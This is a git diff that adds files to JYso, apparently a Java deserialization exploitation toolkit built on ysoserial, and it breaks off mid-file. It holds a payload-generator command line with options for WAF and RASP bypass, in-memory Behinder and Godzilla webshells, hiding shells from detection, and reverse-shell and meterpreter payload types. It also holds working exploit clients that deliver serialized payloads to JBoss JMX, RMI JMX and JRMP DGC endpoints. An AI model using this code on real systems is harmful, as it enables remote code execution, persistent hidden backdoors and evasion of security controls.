a/src/main/java/com/qi4l/JYso/controllers/ysoserial.java b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java new file mode 100644 index 0000000..5ddad4c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/controllers/ysoserial.java @@ -0,0 +1,280 @@ +package com.qi4l.JYso.controllers; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.ObjectPayload; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Serializer; +import com.qi4l.JYso.gadgets.utils.StringUtil; +import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; +import org.apache.commons.cli.*; + +import java.io.FileOutputStream; +import java.io.OutputStream; +import java.util.*; + +import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword; +import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; + +public class ysoserial { + + public static CommandLine cmdLine; + public static Object PAYLOAD = null; + + public static void ysoserial(String[] args) { + final Options options = getOptions(); + + CommandLineParser parser = new DefaultParser(); + + if (args.length == 1) { + printUsage(options); + System.exit(1); + } + + try { + cmdLine = parser.parse(options, args); + } catch (Exception e) { + System.out.println("[*] Parameter input error, please use -h for more information"); + printUsage(options); + System.exit(1); + } + + if (cmdLine.hasOption("inherit")) { + Config.IS_INHERIT_ABSTRACT_TRANSLET = true; + } + + if (cmdLine.hasOption("obscure")) { + Config.IS_OBSCURE = true; + } + + if (cmdLine.hasOption("cmd-header")) { + Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header"); + } + + if (cmdLine.hasOption("url")) { + String url = cmdLine.getOptionValue("url"); + if (!url.startsWith("/")) { + url = "/" + url; + } + Config.URL_PATTERN = url; + } + + if (cmdLine.hasOption("define-class-from-parameter")) { + Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter"); + } + + if (cmdLine.hasOption("file")) { + Config.WRITE_FILE = true; + Config.FILE = cmdLine.getOptionValue("file"); + } + + if (cmdLine.hasOption("base64")) { + Config.BASE64 = true; + } + + if (cmdLine.hasOption("password")) { + Config.PASSWORD_ORI = cmdLine.getOptionValue("password"); + Config.PASSWORD = generatePassword(Config.PASSWORD_ORI); + } + + if (cmdLine.hasOption("godzilla-key")) { + Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key")); + } + + if (cmdLine.hasOption("header-key")) { + Config.HEADER_KEY = cmdLine.getOptionValue("header-key"); + } + + if (cmdLine.hasOption("header-value")) { + Config.HEADER_VALUE = cmdLine.getOptionValue("header-value"); + } + + if (cmdLine.hasOption("no-com-sun")) { + Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true; + } + + if (cmdLine.hasOption("mozilla-class-loader")) { + Config.USING_MOZILLA_DEFININGCLASSLOADER = true; + } + + if (cmdLine.hasOption("rhino")) { + Config.USING_RHINO = true; + } + + if (cmdLine.hasOption("utf8-Overlong-Encoding")) { + Config.IS_UTF_Bypass = true; + } + + if (cmdLine.hasOption("Hessian1")) { + Config.IS_Hessian1 = true; + } + + if (cmdLine.hasOption("Hessian2")) { + Config.IS_Hessian2 = true; + } + + if(cmdLine.hasOption("XStream")){ + Config.IS_Xstream = true; + } + + if(cmdLine.hasOption("Kryo")){ + Config.IS_Kryo = true; + } + + if(cmdLine.hasOption(("JYaml"))){ + Config.IS_JYAML = true; + } + if(cmdLine.hasOption("JsonIO")){ + Config.IS_JsonIO = true; + } + if(cmdLine.hasOption("YamlBeans")){ + Config.IS_YamlBeans = true; + } + if(cmdLine.hasOption("Castor")){ + Config.IS_Castor = true; + } + if(cmdLine.hasOption("Jackson")){ + Config.IS_Jackson = true; + } + + if (cmdLine.hasOption("gen-mem-shell")) { + Config.GEN_MEM_SHELL = true; + + if (cmdLine.hasOption("gen-mem-shell-name")) { + Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name"); + } + } + + if (cmdLine.hasOption("hide-mem-shell")) { + Config.HIDE_MEMORY_SHELL = true; + + if (cmdLine.hasOption("hide-type")) { + Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type")); + } + } + + final String payloadType = cmdLine.getOptionValue("gadget"); + final String command = cmdLine.getOptionValue("parameters"); + //载入gadget + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); + if (payloadClass == null) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(options); + System.exit(1); + return; + } + + + try { + //载入payload + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(command); + + // 是否指定混淆 + if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) { + int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type")); + int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length")); + object = new DirtyDataWrapper(object, type, length).doWrap(); + } + + // 储存生成的 payload + PAYLOAD = object; + if (isFromExploit()) { + return; + } + + OutputStream out; + + if (Config.WRITE_FILE) { + out = new FileOutputStream(Config.FILE); + } else { + out = System.out; + } + Serializer.qiserialize(object, out,payloadType,command); + ObjectPayload.Utils.releasePayload(payload, object); + out.flush(); + out.close(); + } catch (Throwable e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(1); + } + System.exit(0); + } + private static Options getOptions() { + Options options = new Options(); + options.addOption("y", "ysoserial", false, "Java deserialization"); + options.addOption("g", "gadget", true, "Java deserialization gadget"); + options.addOption("p", "parameters", true, "Gadget parameters"); + options.addOption("dt", "dirty-type", true, "Using dirty data to bypass WAF,type: 1:Random Hashable Collections/2:LinkedList Nesting/3:TC_RESET in Serialized Data"); + options.addOption("dl", "dirty-length", true, "Length of dirty data when using type 1 or 3/Counts of Nesting loops when using type 2"); + options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)"); + options.addOption("o", "obscure", false, "Using reflection to bypass RASP"); + options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)"); + options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]"); + options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]"); + options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]"); + options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]"); + options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]"); + options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]"); + options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File"); + options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name"); + options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)"); + options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/"); + options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS"); + options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl"); + options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil"); + options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter"); + options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf"); + options.addOption("he1", "Hessian1", false, "Hessian1 Output"); + options.addOption("he2", "Hessian2", false, "Hessian2 Output"); + options.addOption("b64", "base64", false, "base64 encoding"); + options.addOption("xs", "XStream", false, "Xstream Output"); + options.addOption("kryo", "Kryo", false, "Kryo Output"); + options.addOption("jy", "JYaml", false, "JYaml Output"); + options.addOption("js","JsonIO", false, "JsonIO Output"); + options.addOption("yb","YamlBeans", false, "YamlBeans Output"); + options.addOption("ca", "Castor", false, "Castor Output"); + options.addOption("jk", "Jackson", false, "Jackson Output"); + return options; + } + + private static void printUsage(Options options) { + + System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]"); + System.err.println("[root]#~ Available payload types:"); + + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize + + final List rows = new LinkedList(); + rows.add(new String[]{"Payload", "Authors", "Dependencies"}); + rows.add(new String[]{"-------", "-------", "------------"}); + for (Class payloadClass : payloadClasses) { + rows.add(new String[]{ + payloadClass.getSimpleName(), + StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") + }); + } + + final List lines = StringUtil.formatTable(rows); + + for (String line : lines) { + System.err.println(" " + line); + } + + System.err.println("\r\n"); + HelpFormatter helpFormatter = new HelpFormatter(); + helpFormatter.setWidth(Math.min(200, jline.Terminal.getTerminal().getTerminalWidth())); + helpFormatter.printHelp("JYso-[version].jar", options, true); + + System.err.println("\r\n"); + System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser"); + System.err.println("If you want your payload being extremely short,you could just use:"); + System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser"); + System.exit(0); + } + +} diff --git a/src/main/java/com/qi4l/JYso/enumtypes/GadgetType.java b/src/main/java/com/qi4l/JYso/enumtypes/GadgetType.java new file mode 100644 index 0000000..8ea2bb9 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/enumtypes/GadgetType.java @@ -0,0 +1,8 @@ +package com.qi4l.JYso.enumtypes; + +public enum GadgetType { + base64Two, + msf, + base64, + shell, +} diff --git a/src/main/java/com/qi4l/JYso/enumtypes/PayloadType.java b/src/main/java/com/qi4l/JYso/enumtypes/PayloadType.java new file mode 100644 index 0000000..58cd030 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/enumtypes/PayloadType.java @@ -0,0 +1,47 @@ +package com.qi4l.JYso.enumtypes; + +public enum PayloadType { + sethttp, + dnslog, + tomcatupgrade, + command, + reverseshell, + tomcatecho, + springecho, + weblogicecho, + windowsecho, + linuxecho2, + linuxecho1, + allecho, + websphereecho, + resinecho, + tomcatfilterjmx, + tomcatfilterth, + tomcatlistenerjmx, + tomcatlistenerth, + tomcatservletjmx, + tomcatservletth, + jbossfilter, + jbossservlet, + webspherememshell, + springinterceptor, + springcontroller, + issuccess, + jettyfilter, + jettyservlet, + struts2actionms, + wsfilter, + tomcatexecutor, + meterpreter, + resinfilterth, + resinservletth, + jbossecho, + jettyecho, + cmsmsbync, + proxymsbync, + wsresin, + mstsjproxy, + mstsjser, + wsweblogic, + wswebsphereproxy, +} diff --git a/src/main/java/com/qi4l/JYso/enumtypes/WebsphereActionType.java b/src/main/java/com/qi4l/JYso/enumtypes/WebsphereActionType.java new file mode 100644 index 0000000..2f255fb --- /dev/null +++ b/src/main/java/com/qi4l/JYso/enumtypes/WebsphereActionType.java @@ -0,0 +1,7 @@ +package com.qi4l.JYso.enumtypes; + +public enum WebsphereActionType { + list, + upload, + rce; +} diff --git a/src/main/java/com/qi4l/JYso/exceptions/IncorrectParamsException.java b/src/main/java/com/qi4l/JYso/exceptions/IncorrectParamsException.java new file mode 100644 index 0000000..4d82997 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exceptions/IncorrectParamsException.java @@ -0,0 +1,11 @@ +package com.qi4l.JYso.exceptions; + +public class IncorrectParamsException extends RuntimeException { + public IncorrectParamsException() { + super(); + } + + public IncorrectParamsException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java new file mode 100644 index 0000000..fef6470 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedActionTypeException.java @@ -0,0 +1,11 @@ +package com.qi4l.JYso.exceptions; + +public class UnSupportedActionTypeException extends RuntimeException { + public UnSupportedActionTypeException() { + super(); + } + + public UnSupportedActionTypeException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java new file mode 100644 index 0000000..b450e3d --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedGadgetTypeException.java @@ -0,0 +1,11 @@ +package com.qi4l.JYso.exceptions; + +public class UnSupportedGadgetTypeException extends RuntimeException { + public UnSupportedGadgetTypeException() { + super(); + } + + public UnSupportedGadgetTypeException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/JYso/exceptions/UnSupportedPayloadTypeException.java b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedPayloadTypeException.java new file mode 100644 index 0000000..31e1714 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exceptions/UnSupportedPayloadTypeException.java @@ -0,0 +1,11 @@ +package com.qi4l.JYso.exceptions; + +public class UnSupportedPayloadTypeException extends RuntimeException { + public UnSupportedPayloadTypeException() { + super(); + } + + public UnSupportedPayloadTypeException(String message) { + super(message); + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JBoss.java b/src/main/java/com/qi4l/JYso/exploit/JBoss.java new file mode 100644 index 0000000..1bfd8c7 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/JBoss.java @@ -0,0 +1,385 @@ +package com.qi4l.JYso.exploit; + +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; +import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.jboss.remoting3.Connection; +import org.jboss.remoting3.*; +import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; +import org.jboss.remoting3.spi.*; +import org.jboss.remotingjmx.VersionedConnection; +import org.xnio.*; +import org.xnio.IoFuture.Status; +import org.xnio.ssl.JsseXnioSsl; +import org.xnio.ssl.XnioSsl; + +import javax.management.*; +import javax.management.remote.JMXServiceURL; +import javax.security.auth.callback.*; +import javax.security.sasl.RealmCallback; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.SocketAddress; +import java.net.URI; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.*; +import java.util.logging.*; + + +/** + * An exploitation client for JBoss AS/Wildfly JMX + *

+ * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol. + *

+ * This is not as readily exploitable as in other pieces of software: + * 1. they only allow authenticated access by default + * 2. they have a very strict module architecture: + * - all MBeans exported by default use classloaders that expose almost nothing useful + * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl + *

+ * This client enumerates all application exported MBean method which are then called + * delivering the specified payload. + *

+ * I.e. you can succesfully exploit that + * - you have access to the interface + * (username/password can be specified via URL, note: despite not noticeable, + * local connections implicitely use authentication) + * - there is an application exported MBean + * - that application imports the classes required for the gadget chain + * + * @author mbechler + */ +@SuppressWarnings({ + "rawtypes" +}) +public class JBoss { + + public static void main(String[] args) throws Exception { + + if (args.length < 5) { + System.err.println("Usage " + JBoss.class.getName() + " "); + System.exit(-1); + } + + URI u = URI.create(args[0]); + + // 去除前一个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + ysoserial(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + String username = null; + String password = null; + if (u.getUserInfo() != null) { + int sep = u.getUserInfo().indexOf(':'); + if (sep >= 0) { + username = u.getUserInfo().substring(0, sep); + password = u.getUserInfo().substring(sep + 1); + } else { + System.err.println("Need :@"); + System.exit(-1); + } + } + + doRun(u, payloadObject, username, password); + } + + + private static void doRun(URI u, final Object payloadObject, String username, String password) { + ConnectionProvider instance = null; + ConnectionProviderContextImpl context = null; + ConnectionHandler ch = null; + Channel c = null; + VersionedConnection vc = null; + try { + Logger logger = LogManager.getLogManager().getLogger(""); + logger.addHandler(new ConsoleLogHandler()); + logger.setLevel(Level.INFO); + OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); + context = new ConnectionProviderContextImpl(options, "endpoint"); + instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); + String host = u.getHost(); + int port = u.getPort() > 0 ? u.getPort() : 9990; + SocketAddress destination = new InetSocketAddress(host, port); + ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); + ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); + c = getChannel(context, ch, options); + System.err.println("Connected"); + vc = makeVersionedConnection(c); + MBeanServerConnection mbc = vc.getMBeanServerConnection(null); + doExploit(payloadObject, mbc); + System.err.println("DONE"); + } catch (Throwable e) { + e.printStackTrace(System.err); + } finally { + cleanup(instance, context, ch, c, vc); + } + } + + + private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, + VersionedConnection vc) { + if (vc != null) { + vc.close(); + } + + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + + if (ch != null) { + try { + ch.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + if (instance != null) { + try { + instance.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + + if (context != null) { + context.getXnioWorker().shutdown(); + } + } + + + private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password, + ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options) + throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { + XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); + FutureResult result = new FutureResult(); + instance.connect(null, destination, options, result, new CallbackHandler() { + + public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException { + + for (Callback cb : callbacks) { + + if (cb instanceof NameCallback) { + ((NameCallback) cb).setName(username); + } else if (cb instanceof PasswordCallback) { + ((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]); + } else if (!(cb instanceof RealmCallback)) { + System.err.println(cb); + throw new UnsupportedCallbackException(cb); + } + } + } + }, xnioSsl); + + System.err.println("waiting for connection"); + IoFuture ioFuture = result.getIoFuture(); + Status s = ioFuture.await(5, TimeUnit.SECONDS); + if (s == Status.FAILED) { + System.err.println("Cannot connect"); + if (ioFuture.getException() != null) { + ioFuture.getException().printStackTrace(System.err); + } + } else if (s != Status.DONE) { + ioFuture.cancel(); + System.err.println("Connect timeout"); + System.exit(-1); + } + + ConnectionHandlerFactory chf = ioFuture.getInterruptibly(); + return chf; + } + + private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException { + Channel c; + FutureResult chResult = new FutureResult(context.getExecutor()); + ch.open("jmx", chResult, options); + + IoFuture cFuture = chResult.getIoFuture(); + Status s2 = cFuture.await(); + if (s2 == Status.FAILED) { + System.err.println("Cannot connect"); + if (cFuture.getException() != null) { + throw new IOException("Connect failed", cFuture.getException()); + } + } else if (s2 != Status.DONE) { + cFuture.cancel(); + throw new IOException("Connect timeout"); + } + + c = cFuture.get(); + return c; + } + + + private static VersionedConnection makeVersionedConnection(Channel c) + throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { + VersionedConnection vc; + Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); + Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); + Reflections.setAccessible(vcCreate); + vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); + return vc; + } + + + private static void doExploit(final Object payloadObject, MBeanServerConnection mbc) + throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { + Object[] params = new Object[1]; + params[0] = payloadObject; + System.err.println("Querying MBeans"); + Set testMBeans = mbc.queryMBeans(null, null); + System.err.println("Found " + testMBeans.size() + " MBeans"); + for (ObjectInstance oi : testMBeans) { + MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName()); + for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) { + try { + mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{}); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS"); + return; + } catch (Throwable e) { + String msg = e.getMessage(); + if (msg.startsWith("java.lang.ClassNotFoundException:")) { + int start = msg.indexOf('"'); + int stop = msg.indexOf('"', start + 1); + String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : ""; + if (!"".equals(module) && !"org.jboss.as.jmx:main".equals(module)) { + int cstart = msg.indexOf(':'); + int cend = msg.indexOf(' ', cstart + 2); + String cls = msg.substring(cstart + 2, cend); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); + } + } else { + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); + return; + } + } + } + } + } + + + private static final class ConsoleLogHandler extends Handler { + + + @Override + public void publish(LogRecord record) { + System.err.println(record.getMessage()); + } + + + @Override + public void flush() { + + } + + + @Override + public void close() throws SecurityException { + } + } + + @SuppressWarnings({"deprecation"}) + private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { + + private ConnectionProviderContextImpl context; + + + public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) { + this.context = context; + } + + + public void remoteClosed() { + } + + + public OpenListener getServiceOpenListener(String serviceType) { + return null; + } + + + public RegisteredService getRegisteredService(String serviceType) { + return null; + } + + + public ConnectionProviderContext getConnectionProviderContext() { + return this.context; + } + + + public Connection getConnection() { + return null; + } + } + + + private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { + + private XnioWorker worker; + + private ExecutorService executor; + + private Xnio instance; + + private Endpoint endpoint; + + + public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException { + this.instance = Xnio.getInstance(); + + this.worker = this.instance.createWorker(opts); + this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts); + this.executor = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread(Runnable r) { + Thread t = new Thread(r, "Worker"); + t.setDaemon(true); + return t; + } + }); + } + + + public XnioWorker getXnioWorker() { + return this.worker; + } + + + public Xnio getXnio() { + return this.instance; + } + + + public Executor getExecutor() { + return this.executor; + } + + + public Endpoint getEndpoint() { + return this.endpoint; + } + + + public void accept(ConnectionHandlerFactory connectionHandlerFactory) { + System.err.println("accept"); + } + + } + +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java new file mode 100644 index 0000000..87df51e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java @@ -0,0 +1,45 @@ +package com.qi4l.JYso.exploit; + +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; +import com.qi4l.JYso.controllers.ysoserial; + +import javax.management.MBeanServerConnection; +import javax.management.ObjectName; +import javax.management.remote.JMXConnector; +import javax.management.remote.JMXConnectorFactory; +import javax.management.remote.JMXServiceURL; + +/* + * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. + * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. + * + */ +public class JMXInvokeMBean { + + public static void main(String[] args) throws Exception { + + if (args.length < 6) { + System.err.println(JMXInvokeMBean.class.getName() + " "); + System.exit(-1); + } + + JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); + + JMXConnector jmxConnector = JMXConnectorFactory.connect(url); + MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + ysoserial(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); + + mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); + + //close the connection + jmxConnector.close(); + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java new file mode 100644 index 0000000..b776d02 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClassLoadingListener.java @@ -0,0 +1,48 @@ +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.JRMPClient; + +import java.net.URL; + + +/** + * JRMP listener triggering RMI remote classloading + *

+ * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. + *

+ * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need + * access to an RMI socket when you can deliver {@link JRMPClient}. + *

+ * This only works if + * - the remote end is running with a security manager + * - java.rmi.server.useCodebaseOnly=false (default until 7u21) + * - the remote has the proper permissions to remotely load the class (mostly URLPermission) + *

+ * and, of course, the payload class is then run under the security manager with a remote codebase + * so either the policy needs to allow whatever you want to do in the payload or you need to combine + * with a security manager bypass exploit (wouldn't be the first time). + * + * @author mbechler + */ +public class JRMPClassLoadingListener { + + public static final void main(final String[] args) { + + if (args.length < 3) { + System.err.println(JRMPClassLoadingListener.class.getName() + " "); + System.exit(-1); + return; + } + + try { + int port = Integer.parseInt(args[0]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java new file mode 100644 index 0000000..de65290 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPClient.java @@ -0,0 +1,134 @@ +package com.qi4l.JYso.exploit; + +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; +import com.qi4l.JYso.controllers.ysoserial; +import sun.rmi.transport.TransportConstants; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.*; + +/** + * Generic JRMP client + *

+ * Pretty much the same thing as {@link RMIBindExploit} but + * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) + * - not deserializing anything (so you don't get yourself exploited ;)) + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class JRMPClient { + + public static final void main(final String[] args) throws Exception { + if (args.length < 5) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + String hostname = args[0]; + int port = Integer.parseInt(args[1]); + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + ysoserial(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + try { + System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); + makeDGCCall(hostname, port, payloadObject); + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException { + InetSocketAddress isa = new InetSocketAddress(hostname, port); + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings("resource") final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } finally { + if (dos != null) { + dos.close(); + } + if (s != null) { + s.close(); + } + } + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + + private URL sendUrl; + + public MarshalOutputStream(OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + MarshalOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void annotateClass(Class cl) throws IOException { + if (this.sendUrl != null) { + writeObject(this.sendUrl.toString()); + } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { + writeObject(null); + } else { + URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); + String cb = ""; + + for (URL u : us) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass(Class cl) throws IOException { + annotateClass(cl); + } + } +} + diff --git a/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java new file mode 100644 index 0000000..0226fe6 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/JRMPListener.java @@ -0,0 +1,293 @@ +package com.qi4l.JYso.exploit; + +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; + +import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import sun.rmi.transport.TransportConstants; + +import javax.management.BadAttributeValueExpException; +import javax.net.ServerSocketFactory; +import java.io.*; +import 